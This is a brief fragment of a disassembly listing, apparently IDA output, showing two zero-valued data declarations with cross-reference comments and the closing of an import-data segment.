dword_44D0D8	dd 0			; DATA XREF: sub_444BF8r
dword_44D0DC	dd 0			; DATA XREF: sub_444C04r
		align 1000h
_idata2		ends


		end start